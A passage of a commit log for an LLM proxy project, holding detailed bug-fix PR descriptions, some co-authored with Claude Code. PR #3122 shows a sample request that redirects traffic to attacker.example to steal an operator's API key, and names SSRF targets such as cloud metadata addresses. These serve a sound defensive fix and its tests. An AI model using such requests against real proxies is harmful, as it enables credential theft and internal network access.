folder-based dataset builders, where an unvalidated `file_name` metadata
field is joined to the dataset directory, so crafted traversal sequences
can read arbitrary local files into output on
`save_to_disk`/`push_to_hub`.
**The advisory was published today between 07:17 and 15:35 UTC.**
`main`'s audit passed at 07:17 on `
|
||
|
Tejas Chopra
|
17522fb0a1
|
fix(proxy): scope the signed-thinking lock to blocks that actually changed (#3124)
## Description Anthropic signs the thinking **block**, not the request — the signature covers that block's own content. #2254 responded to real 400s by freezing the **entire body** whenever any thinking block appeared anywhere in history. That protects bytes no signature covers, including top-level `tools` and `system`, which are not even inside `messages`. Measured on 227,777 lines of real proxy logs from a user reporting ~1% savings: - **618 of 1,802 requests (34.3%)** had every computed compression discarded. **100%** were `client=claude-code`; Codex/GPT traffic was untouched. - One session logged turn 1 saving 428 tokens, then **229 consecutive turns saving exactly 0**. - **491.9s — 34.2% of all optimization time** — was spent computing compressions that were then thrown away. One request paid 21.2s to compute a real 8.0% reduction that never shipped. - It orphaned the turn-1 cache prefix on **12 of 35** sessions, corroborated by Headroom's own `CACHE-MISS-ATTRIBUTION` events (21/21 are `reason=prefix_change`, **none** TTL expiry), with an exact token match: `expected_cached=27,541` equalling turn 1's write. ## Changes Made - Replace the presence test with a **positional, order-sensitive fingerprint** of every `thinking` / `redacted_thinking` block, compared against the client's original. Byte-equal blocks → forward the edits. Any difference (edited text, edited signature, dropped, reordered, moved) or any failure to prove equality → today's verbatim passthrough. Keys are sorted so a dict rebuilt in a different order is not mistaken for an edit. - `outbound_body_is_client_bytes` mirrors the relaxation exactly, or the CCR buffering probe and the forwarder would disagree and re-create #2952 in reverse. - The #2990/#3015 accounting reset now **recomputes** the lock immediately before use instead of reusing the probe taken before the CCR branch. The predicate tests block *content* now, and `enforce_cache_control_ttl_order` rewrites `body["messages"]` in between, so the early answer can go stale. (Latent before this PR; load-bearing after.) - **Perf:** parse the client body once per decision, plus a substring prescreen. A 9.3 MB body (the real production maximum) could otherwise be parsed four times per request on a stage that already carries a 30s timeout whose expiry quarantines compression process-wide. ## Rollout safety **On by default at the maintainer's explicit direction.** `HEADROOM_THINKING_PRESERVING_MUTATIONS=0` restores the previous blanket lock with no deploy. The risk is recorded in the module rather than smoothed over: #2254's stated cause — a plain canonical re-encode — cannot alter parsed values and therefore cannot by itself invalidate a signature, and that report's own log shows a transform (`tool_search_deferral`) firing on the failing turn. So the stated cause does not hold up, **but the failure was real and its true trigger was never isolated.** This relaxation is strictly narrower than what broke: it forwards edits only when every block is provably identical, which is the property the blanket rule was a crude proxy for. ## Testing ```text uv run pytest tests/test_proxy_byte_faithful_forwarding.py tests/test_ccr_buffered_stream_signed_thinking.py \ tests/test_proxy/test_anthropic_ccr_deferred_injection.py 92 passed uv run mypy headroom/proxy/body_forwarding.py headroom/proxy/handlers/anthropic.py # Success uv run ruff check . && ruff format --check . # clean ``` Existing tests that encoded the blanket lock were **re-pointed at the correct trigger, not deleted** — each now tampers with a thinking block so it still guards what it was written for. `test_signed_thinking_discarded_mutation_uses_wire_truth_for_all_accounting` (#3015) now runs under the kill switch, which proves both that the accounting neutralisation still works and that the env-var rollback is a complete restoration. ## Real behavior proof - **Setup:** macOS arm64, Python 3.12, this branch, byte-capturing transport. - **After-fix evidence** — end-to-end through `/v1/messages` with a signed thinking block in history and a compactable tool schema (`test_untouched_thinking_lets_tool_compaction_reach_the_wire`): the annotation keys the compaction strips (`$schema`, `title`) are **absent from the captured upstream bytes**, and `wire["messages"][1]["content"][0]` is **byte-identical to the client's signed block**. Under the kill switch the same request forwards the client's bytes unchanged with accounting zeroed. - **Parse-count measured, not assumed:** 7.2 MB thinking-bearing body → 2 parses became 1. 2 MB body with no thinking blocks (~2 of 3 requests) → 1 parse became **0**, i.e. faster than before this feature existed. - **Projected effect on the reporting user's traffic**, derived from their unlocked requests: Claude Code headline **2.27% → roughly 5–6%**. Their unlocked requests already achieve 5.62% overall and 7.2–7.4% in the 20K–150K band, which matches our fleet beacon (~8%); the 2.27% is a blend where 60% of tokens sat in requests that shipped nothing. - **NOT tested: live paid Anthropic traffic with a real signed thinking block.** This is the one thing that matters most and I could not do it here. The signature-verification behaviour is Anthropic's, and no local test can prove it accepts a re-serialized body carrying an untouched block. **Please validate on live traffic before relying on the default.** Watch for 400 `invalid_request_error` mentioning `thinking`, and `CACHE-MISS-ATTRIBUTION reason=prefix_change` rates. ## Known risk not eliminated Enabling this changes the wire bytes for in-flight sessions, so expect a **one-time prefix change** on the first affected turn of each live conversation. Supporting evidence that this is bounded: canonical serialization is already the norm for the ~66% of traffic without thinking blocks, and that traffic sustains a 94.3% cache hit rate. 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tejas Chopra
|
250ede2f7f
|
fix(reporting): show net vs gross savings, real skip thresholds, and the effective profile (#3123)
## Description
Six reporting/config defects found while investigating a user reporting
~1% savings on Claude Code. **None of these changes how much Headroom
compresses** — all of them change whether an operator can tell what it
did. Every one was found by reading that user's own 227,777 lines of
proxy logs against the code.
## Changes Made
- **`perf/analyzer`: parse and render `tok_inflated`.** Every PERF line
carried it; nothing downstream read it. The report could print
`321,239,562 -> 313,274,727` directly above `8,455,763 saved` — two
figures that differ by exactly the 490,928 tokens of inflation it
omitted.
- **`content_router`: report the real skip thresholds.** The routing
summary hardcoded `skipped (<50 words)` regardless of what was in force.
Wrong number (the message gate is `min_tokens`, 10–250 by profile),
wrong unit (tokens and characters, never words), and it merged two
different gates under one label.
- **`perf/analyzer`: disclose that Transform Effectiveness is partial.**
It is built only from `pipeline.py`'s `Transform NAME:` lines.
`compression_units.py` / `compression_batches.py` contain zero logging
calls, so the table read `content_router: 189,783 saved` against a PERF
total 44x larger. Reports the divergence rather than a coverage ratio —
the two are different populations and neither contains the other (those
lines carry no request_id, fire per stage, and are emitted before the
forwarder decides).
- **`perf/analyzer`: disclose the routing denominator.** Percentages
were taken over 4 of the router's 17 outcome buckets, silently dropping
buckets larger than several it displayed.
- **`savings_tracker`: stop dropping tool-schema dollars.**
`estimate_request_savings_usd` prices four buckets; `record_request`
read three. `tool_schema` was computed and discarded, so a quarter of
the token headline never reached "Cost saved". The two inputs are
disjoint (verified at the call site), so this is additive, not
double-counting.
- **`agent_savings`: an unknown profile no longer degrades to
`balanced`.** `balanced` is a different product posture from the default
`coding`: cache→token mode, dedup off, tool-search off, user messages
uncompressed, message floor 25x higher, block floor 20x higher. A typo
in `HEADROOM_SAVINGS_PROFILE` silently reconfigured the whole proxy. Now
degrades to `DEFAULT_PROFILE` and names the resolved profile in the
warning.
- **`agent_savings`: give `min_chars_for_block` a config-object path.**
Every other router pipeline kwarg travels on the config object; this one
alone was env-only, so an unseeded proxy applied every sibling `coding`
knob while this floor stayed at 500 instead of 25.
- **`server`: log the resolved compression posture at startup**, reading
cross-turn dedup off the constructed router rather than the environment
(the router resolves it as `config OR env`, so reading env alone would
be a guess).
## Testing
- [x] Unit tests pass, [x] ruff, [x] mypy, [x] new tests added
```text
uv run pytest tests/ -k "content_router or agent_savings or perf or analyzer or savings or proxy_server or cli_perf or prometheus"
620 passed, 25 skipped
uv run mypy headroom # Success
uv run ruff check . && ruff format --check . # clean
```
## Real behavior proof
- **Setup:** macOS arm64, Python 3.12, this branch. Input: 60 MB /
227,777 lines of real proxy logs from the reporting user (6 rotated
files, 2,792 PERF lines, 2026-08-17 → 2026-08-19).
- **Steps:** pointed `headroom.perf.analyzer.LOG_DIR` at that directory
and rendered the report before and after the patch.
- **After-fix output (real data, unmodified):**
```text
Requests: 2792
Tokens: 321,288,161 -> 313,323,326 (2.6% messages)
Tokens saved: 11,158,901 (3.4% reduction)
· inflated 490,928 (net message reduction 7,964,835)
· messages 8,455,763
· tool schemas 2,703,138
! stage-level total 190,641 != PERF message total 8,455,763 — this table sees only
engines that emit a Transform line, counts per stage, and does not check whether
the mutation shipped
Skipped: 44641 (77%) — below size floor
(shares are of these 4 buckets only, n=58319; see `[router] route_counts=` for the
full outcome space)
```
The arithmetic now closes on the page: `8,455,763 - 490,928 =
7,964,835`, matching the token delta exactly. Before the patch none of
the three annotated lines existed and the `Skipped` line claimed `<50
words`.
- **Profile resolution verified by execution**, not inspection —
subprocesses with controlled env:
```text
vanilla (nothing set) mode=cache dedupe=1 tool_search=1 min_tokens=10 min_chars=25
HEADROOM_SAVINGS_PROFILE=coding mode=cache dedupe=1 tool_search=1 min_tokens=10 min_chars=25
unknown profile name (before) mode=token dedupe=0 tool_search=0 min_tokens=250 min_chars=500
unknown profile name (after) -> resolves to `coding`, warning names it
coding, seeding never runs min_chars=25 (was 500 before this patch)
```
- **Not tested:** live paid Anthropic traffic. These are
reporting/config surfaces; the wire path is untouched by this PR.
## Review readiness
- [x] Self-reviewed. Three overclaims in my own first draft were
corrected before this PR: a false subset claim in the Transform
Effectiveness note, a comment asserting `min_chars_for_block` was the
*only* env-only field (it is the only env-only *router pipeline kwarg*;
`cross_turn_dedup`, `tool_search`, `protect_reads`, `code_aware`,
`effort_router`, `lossless` remain env-only via a different mechanism
and are **not** fixed here), and a money-path expression that relied on
`a + b if c else d` grouping.
## Known remaining (deliberately out of scope)
- `Requests: N` still overcounts: the Codex WS forwarder reuses one
`request_id` across every turn (one observed 156x), plus ~18 duplicate
PERF emissions.
- `compression_units.py` / `compression_batches.py` remain unlogged —
this PR *discloses* the blind spot rather than closing it.
- The headline stays **gross**. True net is `11,158,901 - 490,928 =
10,667,973` (3.3%, not 3.4%). Making net the headline lowers every
user's reported savings ~4.4%; that is a product call, not mine, so the
inflation is surfaced beside it instead.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
|
||
|
Tejas Chopra
|
05f5ef47cb
|
fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description `x-headroom-base-url` lets a client choose the upstream for a single request — a deliberate, documented feature for routing to OpenAI-compatible gateways. `*_extra_headers` is operator-configured, marked `secret=True` in the settings store, and its own help text uses an API key as the example value. The two met in the wrong order: ``` openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers) openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers) ``` The secret was merged **before** the destination was resolved. So: ``` POST /v1/messages X-Headroom-Base-Url: https://attacker.example ``` reached the attacker's host **carrying the operator's gateway key**. One request, no user interaction, from anything able to reach the proxy port — a malicious postinstall script, a compromised transitive dep, a second agent session. Same shape on the Anthropic Messages route (`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose override resolves 300 lines later at `:5420`). Without `*_extra_headers` configured the same primitive is still a plain SSRF, but that is the pre-existing behavior of a documented feature; **this PR fixes the credential leak, not the routing.** ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret only travels to a host the operator designated: one of the resolved provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. This is the rule `copilot_auth.is_copilot_upstream_url` already applies to Headroom's own Copilot token, generalized. - **`merge_extra_headers` now takes a required keyword-only `upstream_url`.** This is the actual fix. An optional parameter would have closed three call sites and left the tenth forwarder free to reintroduce the bug; a required one means a forwarder *cannot merge a secret without declaring where it goes*. All nine call sites updated — the three client-controllable ones pass the resolved override, the six config-derived ones pass `None`. - Undesignated upstreams are **still proxied**, just without the secret, and the refusal logs once per host (not per request) with the remedy in the message. - Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`. Matching is on the parsed hostname, never the URL string. Whole-string comparison lets `https://api.anthropic.com@evil.example` through, and makes a base URL match while base+path does not — that exact asymmetry is how a gate ends up covering routing but not the credential attach. Exact hostname equality, no wildcards. ## Testing - [x] Unit tests pass (`pytest`) - [x] Integration tests pass - [x] Manual testing performed ### Test Output ```text tests/test_upstream_credential_scoping.py 15 passed (new) Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"): 3340 passed, 163 skipped, 1 failed in 164.56s The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline ("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing: it fails identically on a clean origin/main worktree. ruff check: All checks passed ruff format --check: 7 files already formatted mypy headroom/proxy/upstream_trust.py: Success, no issues found ``` ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off `main`, `_core.abi3.so` copied in so the extension imports. - Exact command / steps: built the exploit as an end-to-end test — a `TestClient` app with `anthropic_extra_headers={"Api-Key": "corp-gateway-secret"}` and a capturing transport, then `POST /v1/messages` with `X-Headroom-Base-Url: https://attacker.example`, asserting on the headers the transport actually received. **Then disabled only the new gate (leaving the signature intact) to confirm the test reproduces the original vulnerability.** - Observed result: with the gate disabled the test fails with the secret visibly on the wire — ``` AssertionError: assert 'api-key' not in {..., 'api-key': 'corp-gateway-secret', ...} ``` With the gate restored, 15/15 pass. The companion test asserts the request still reached `attacker.example` and still carried the *client's* own `x-api-key`, so the fix withholds the operator's credential without breaking the routing feature or the client's auth. Lookalike hosts (`api.anthropic.com@evil.example`, `api.anthropic.com.evil.example`, scheme-less values, `://`) are covered by parametrized cases. - Not tested: no live upstream was contacted — all uses a capturing `httpx` transport. The WebSocket forwarders (`openai.py:6606`, `codex/live.py:131`) pass `upstream_url=None` because their destination is config-derived; that classification is verified by reading the callers (`_api_target(proxy, "openai")`, `codex_responses_websocket_url()`), not by a test. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: **Yes, deliberately.** If an operator today configures `*_extra_headers` *and* routes via `x-headroom-base-url` to a host that is not a configured provider target, those headers stop being sent. That is the vulnerability, so the change is the point — but it is a real behavior change for that setup, which is why the log line names the host and the env var to fix it. - Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>` restores delivery for a named host. There is deliberately no global "off". - Unsafe override required: No. - Qualification impact: None. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes Found during the same audit, **not fixed here** — each wants its own change: - **The plain SSRF remains by design.** With no `*_extra_headers` configured, a client can still make the proxy issue an arbitrary request to an arbitrary host (cloud metadata at `169.254.169.254`, internal admin panels) and read the response. Closing that means either an opt-in requirement for the header or private-IP blocking, and private-IP blocking would break the common local-gateway setup (LiteLLM on `127.0.0.1`). Worth a deliberate decision rather than a silent change here. - **CORS is the only thing keeping this off the web.** `x-headroom-base-url` is a non-simple header so it forces a preflight, and the default origin regex is loopback-only. Setting `HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web page. - The `/v1/*` data plane has no authentication for loopback callers even when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback), so "any local process" is the realistic attacker for all of the above. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> |
||
|
Tejas Chopra
|
8156d4dc3a
|
fix(deps): raise the GitPython floor to 3.1.58 to clear 9 open advisories (#3120)
## Description
The reported advisory — **GHSA-956x-8gvw-wg5v** (High; command injection
via unguarded Git options in `Repo.archive()` / `git.ls_remote()`,
arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`) —
is fixed in GitPython **3.1.51**, and the lock already resolved to
**3.1.54**. So that specific advisory was not live exposure.
Checking the alert list rather than that one advisory turned up the real
problem: **nine other GitPython advisories are open against `uv.lock`**,
and 3.1.54 is inside all of their ranges.
| advisory | severity | affected | fixed in |
|---|---|---|---|
| GHSA-hmq2-w58f-27jc | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-jm78-9fvv-mhgr | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-wvpp-8hx9-p66j | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-9rj7-rf2p-w77r | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-4gmw-gg2m-w46p | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-hh9p-6wh2-4mfc | Medium | ≤ 3.1.57 | 3.1.58 |
| GHSA-3f7w-8rr8-f37f | High | ≤ 3.1.56 | 3.1.57 |
| GHSA-539m-9xh6-q6rr | Medium | ≤ 3.1.56 | 3.1.57 |
| GHSA-p538-c434-8v24 | Medium | ≤ 3.1.55 | 3.1.56 |
The existing `[tool.uv] constraint-dependencies` floor was
`gitpython>=3.1.50`, set for an earlier batch, and had gone stale.
**Reachability:** GitPython is a transitive dependency (via `agno`) and
is imported nowhere in `headroom/`. This is a supply-chain floor bump,
not a fix to code we call.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
## Changes Made
- `pyproject.toml`: raised the `constraint-dependencies` floor from
`gitpython>=3.1.50` to `>=3.1.58`, following the file's existing pattern
for transitive security floors, and replaced the stale comment with the
advisories it now covers. 3.1.58 is the highest fixed version across
**every** GitPython advisory published to date, so the floor clears all
of them rather than only the newest.
- `uv.lock`: regenerated with `uv lock --upgrade-package gitpython`;
resolves 3.1.54 → 3.1.59.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Manual testing performed
### Test Output
```text
tests/test_optional_dependencies.py tests/test_litellm_optional.py
tests/test_mcp_dependency_contract.py tests/test_onnx_dependency_contract.py
tests/test_toin_publish.py tests/test_release_workflows.py
1 failed, 61 passed, 1 skipped
Lock delta (263 packages before and after):
ADDED : none
REMOVED : none
CHANGED : {'gitpython': ('3.1.54', '3.1.59')}
```
The single failure is `test_no_native_tls_in_wheel_build_tree`,
pre-existing and environmental (no `cargo` on this machine); it fails
identically on a plain-`main` checkout.
## Real Behavior Proof
- Environment: macOS (darwin 25.4.0), Python 3.12.13, `uv` resolver,
worktree off `main` @ `
|
||
|
Tejas Chopra
|
b77d612913
|
fix(copilot): send VS Code inline completions to the host that serves them (#3112)
## Description
#3077 stopped Copilot's inline completions being forwarded to
`api.openai.com` (the corporate-blocked host in the original report) —
but sent them to the **CAPI host**, which does not serve that endpoint.
Copilot has two surfaces on two different hosts, and GitHub's own client
library keeps them apart:
```js
_getCAPIUrl(t) -> t?.endpoints.api || "https://api.githubcopilot.com"
_getProxyUrl(t) -> t?.endpoints.proxy || DEFAULT_PROXY_BASE_URL
DEFAULT_PROXY_BASE_URL = "https://copilot-proxy.githubusercontent.com"
```
building completions as
`${proxyBaseURL}/v1/engines/<engine>/completions` (`@vscode/copilot-api`
0.5.2). Probed unauthenticated against the live hosts:
| host | `POST /v1/engines/<e>/completions` |
|---|---|
| `copilot-proxy.githubusercontent.com` | **401** — exists, needs auth |
| `proxy.individual.githubcopilot.com` | **401** — CNAME to the above |
| `api.githubcopilot.com` | **404** — does not serve this path |
So the destination #3077 chose could not have worked. Three separate
defects were in the way, each sufficient on its own to keep completions
broken.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
## Changes Made
- `copilot_auth.py`: added `DEFAULT_COMPLETIONS_PROXY_URL` and made it
the default in `copilot_completions_base_url()`, replacing the CAPI
host.
- `copilot_auth.py`: the "custom deployment keeps its own host" rule now
excludes public Copilot hosts. Without this, `headroom wrap vscode` —
the common setup, and the one that exports
`GITHUB_COPILOT_API_URL=<resolved subscription URL>` — resolved straight
back to the 404 host. **This was a bug in my own first cut of the fix,
found by testing the real `wrap vscode` environment rather than just the
routing table.**
- `copilot_auth.py`: added `is_copilot_completions_host()` and
`is_copilot_upstream_url()` (chat ∪ completions). The completions host
was recognised as Copilot **nowhere**, so `apply_copilot_api_auth`
attached no credentials (401 — routing correctly to a host we then
failed to authenticate against) and `build_copilot_upstream_url` skipped
`mark_request_routed_to_copilot()`, mislabelling the provider in
telemetry.
- The union is applied at exactly those two call sites.
`is_copilot_api_url` is left alone, so validation of a token payload's
`endpoints.api` and the Responses-API preference check keep their strict
chat-only meaning. All six call sites were read before choosing this.
- `proxy_targets.py`: the "already a Copilot host" guard now keys on the
*completions* host. A CAPI host is not a completions host, so it must
still be redirected; a genuine per-SKU completions host or operator
override is still left untouched.
- `providers/copilot/vscode.py`, `cli/wrap.py`,
`docs/…/vscode-copilot.mdx`: stop writing/printing
`github.copilot.advanced.debug.overrideAuthType`. No such setting exists
in the modern Copilot Chat extension — the only one left after
`GitHub.copilot` was deprecated in early 2026. Its full `advanced.*`
surface is `authPermissions`, `authProvider`, `debug.overrideCapiUrl`,
`debug.overrideProxyUrl`, `debug.use*Fetcher`. It is still *recognised*
so a stale hand-written copy is detected, just never emitted.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
tests/test_copilot_vscode_completions_routing.py 59 passed
Copilot-related suites 293 passed, 8 skipped
Full suite:
3 failed, 11250 passed, 581 skipped in 342.50s
```
The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline on this machine: no `cargo`
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.
## Real Behavior Proof
- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `
|
||
|
Tejas Chopra
|
139c7cbdde
|
fix(ccr): send Accept: application/json on a buffered stream:false turn (#3102)
## Description
Server-side CCR retrieval flips a `stream: true` turn to `stream: false`
so the whole upstream reply is in hand before answering. The **body**
was rewritten; the client's `Accept: text/event-stream` was **not**. The
request that went on the wire therefore contradicted itself — *"answer
as JSON"* in the body, *"I only accept SSE"* in the headers.
Anthropic's first-party API tolerates that, which is why this never
surfaced against it. GitHub Copilot's Anthropic-compatible gateway does
not, and answers with a generic `api_error`.
That is the reported shape exactly. An OpenCode session's **first** call
succeeds — no marker exists yet, so nothing is buffered. The **second**
call is the first to carry a redeemable `<<ccr:…>>` marker, so it is the
first to be flipped to buffered, and it fails. The reporter's own logs
show the correlation: every failed request carries
`mutation_reasons=…,ccr_streaming_retrieve_buffered_non_stream`.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
## Changes Made
- `headroom/proxy/handlers/anthropic.py`: when the buffered CCR path
flips `stream` to `false`, the outgoing `Accept` header is set to
`application/json` to match. The lookup is case-insensitive and
**replaces** the existing header rather than appending, so exactly one
`Accept` goes upstream.
- `headroom/proxy/handlers/openai.py`: the **same fix on the
`/v1/responses` buffered path**, which has an identical `stream: false`
flip with no matching `Accept`. This handler is a GitHub Copilot path —
it calls `apply_copilot_api_auth` — so leaving it would have left the
reported bug live on a route the reporter can hit. Found during
self-review, not in the original diff.
- Same treatment for the Anthropic CCR continuation request, which is
non-streaming for the same reason and previously fixed only
`Content-Type`. Its header strip is now case-insensitive for
`Content-Type` as well, removing a latent duplicate-header path.
- `tests/test_buffered_ccr_accept_header.py`: 6 tests — the buffered
turn asks for JSON, exactly one `Accept` survives, mixed-case `Accept`
is replaced, a client sending no `Accept` still gets one, a non-buffered
streaming turn keeps `text/event-stream` untouched, and the OpenAI
`/v1/responses` buffered turn asks for JSON too.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
tests/test_buffered_ccr_accept_header.py ...... [100%]
6 passed
CCR-adjacent suites on this branch:
tests/test_buffered_ccr_accept_header.py, test_buffered_ccr_salvage.py,
test_buffered_ccr_grace_window.py, test_anthropic_streaming_ccr_retrieve.py,
test_ccr_buffered_stream_signed_thinking.py
41 passed
Full suite on this branch:
3 failed, 11216 passed, 581 skipped in 414.81s
```
The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline run on the same machine: no `cargo` installed
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.
## Real Behavior Proof
- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `
|
||
|
Tejas Chopra
|
131b119c05
|
fix(ccr): make --no-ccr disable server-side response handling too (#3101)
## Description
`--no-ccr` advertises **"Disable CCR entirely"**, and its help text
names the case it exists for: *"streaming / non-MCP clients that can't
resolve an injected tool."* It mapped onto only two of the three CCR
subsystems — markers and tool injection — leaving `ccr_handle_responses`
on. That field has no flag and no env var of its own, so under
`--no-ccr` it was always `True`.
That mattered because the buffered `stream: false` path keys off
`headroom_retrieve` being present in the **request's** tools, and the
client can put it there itself — the bundled OpenCode plugin registers
it unconditionally. So `--no-ccr` left the buffered path fully armed for
exactly the clients it was recommended to, and any turn whose history
still held a redeemable marker kept being flipped to buffered.
This is why the workaround handed out in #2952 / #3017 / #3079 did
nothing for `headroom wrap opencode`.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
## Changes Made
- `headroom/cli/proxy.py`: `--no-ccr` / `HEADROOM_NO_CCR` now also sets
`ccr_handle_responses=False`, so the switch covers all three CCR
subsystems rather than two.
- Rewrote the inline comment, which claimed the flag "disables both
halves at once" — there were three.
- `tests/test_no_ccr_disables_response_handling.py`: 5 tests covering
the flag→config mapping (flag, env var, and the untouched default), plus
the behaviour it buys — a client-advertised `headroom_retrieve` with a
redeemable marker no longer flips the turn to buffered.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
tests/test_no_ccr_disables_response_handling.py ..... [100%]
5 passed
Full suite (both Tier 1 fixes applied):
3 failed, 11220 passed, 581 skipped in 428.90s
```
The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline run on the same machine: no `cargo` installed
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.
## Real Behavior Proof
- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `
|
||
|
Parideboy
|
7ef736fb1a
|
fix(ccr): make StreamingCCRHandler work on OpenAI streams (#3069)
## Description
`StreamingCCRHandler` (`headroom/ccr/response_handler.py`) was written
against the Anthropic wire format. Constructed with `provider="openai"`
it does not work: it silently drops the response, reports the wrong
`finish_reason`, and emits a stream shape no OpenAI client can read.
This PR fixes all three.
**Reachability, stated up front:** `StreamingCCRHandler` is exported
from `headroom/ccr/__init__.py` but no proxy handler instantiates it
today. Every live CCR path (`handlers/openai.py:4276`,
`handlers/openai.py:5936`, `handlers/anthropic.py`,
`handlers/gemini.py`) calls `CCRResponseHandler.handle_response` on a
non-streaming body instead. So these defects are not currently hit by
proxy traffic. They bite anyone importing the public
`headroom.ccr.StreamingCCRHandler` export, and they would bite the
moment streaming CCR gets wired up. I would rather fix them while they
are cheap than have them surface as a mysterious truncation bug later.
**This PR does not fix #1026.** I found these while investigating that
issue and they turned out to be unrelated to it. #1026 needs information
from the reporter before anyone can say whether Headroom is even in the
request path; I have asked for it there.
### The three defects
**1. The whole OpenAI response was dropped.**
`StreamingCCRBuffer.add_chunk` detected a tool call by scanning the
accumulated bytes for the literal `"type":"tool_use"`. That is
Anthropic-only. An OpenAI-compatible stream carries tool calls as a
`tool_calls` array inside `choices[].delta` and never emits that marker,
so `detected_ccr` could never become `True`.
Independently, `process_stream` decided the stream had ended by scanning
for `"stop_reason"`, another Anthropic-only field. An OpenAI stream has
no such field; it terminates with the `[DONE]` sentinel.
With neither marker ever matching, and nothing flushing the buffer once
the source iterator ran out, the outcome was:
- OpenAI stream under 10 000 bytes: **nothing at all was yielded**. The
client got an empty response.
- OpenAI stream over 10 000 bytes: chunks flushed in ~10 KB batches, and
the final sub-threshold batch was never flushed. The response visibly
stopped mid-sentence.
**2. `finish_reason` was hardcoded.**
`_reconstruct_openai_response` always returned `"finish_reason":
"stop"`, even when it had just finished reconstructing a non-empty
`tool_calls` array, where the OpenAI API requires `"tool_calls"`. A
client that drives its agent loop off `finish_reason` reads `stop`,
concludes the turn is over, and never executes the tool calls. The
Anthropic sibling `_reconstruct_anthropic_response` does this correctly,
carrying `stop_reason` through from `message_delta`.
It also discarded `id`, `object`, `created`, `model`, and `usage`,
returning a bare `choices` list that is not a valid `chat.completion`.
**3. `_response_to_sse` emitted the wrong shape.**
The OpenAI branch serialised the reconstructed **non-streaming** body
into a single SSE frame. A streaming client parses `choices[].delta`;
this frame has `choices[].message`. Both the text and the tool calls
were invisible to it.
### Why CI did not catch it
`tests/test_ccr_response_handler_extra.py` exercised
`_reconstruct_openai_response` but never asserted `finish_reason`, and
the one `process_stream` test that passed `provider="openai"` fed it
Anthropic-shaped bytes (`"type":"tool_use"` plus `"stop_reason"`). No
test had ever run a real OpenAI stream through this class. That test now
uses the real OpenAI wire shape, so it actually covers the path it
claims to.
## Type of Change
- [x] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to not work as expected)
- [ ] Documentation update
- [ ] Refactor / internal change
## Changes Made
All in `headroom/ccr/response_handler.py`:
- `StreamingCCRBuffer` gained a `provider` field (defaults to
`"anthropic"`, so existing construction is unchanged) and picks its
tool-call marker from it: `"type":"tool_use"` for Anthropic,
`"tool_calls"` for everything else. `StreamingCCRHandler.__init__` now
passes its own provider down.
- `process_stream` selects the end-of-stream marker by provider
(`"stop_reason"` for Anthropic, `data: [DONE]` for OpenAI), and **always
flushes whatever is still buffered once the source iterator is
exhausted**. That second part is deliberately unconditional on the
marker: upstream can truncate, a gateway can omit the sentinel, and a
future stream shape may not be recognised. Buffered bytes at that point
are real response data, so they get flushed rather than dropped.
- Removed the dead re-iteration block that followed the detection loop.
Its guard was `not detection_complete and not self.buffer.detected_ccr`,
and the only `break` out of the loop above required `detected_ccr` to be
`True`, so it could only ever be reached with an already-exhausted
iterator. The new flush takes its place.
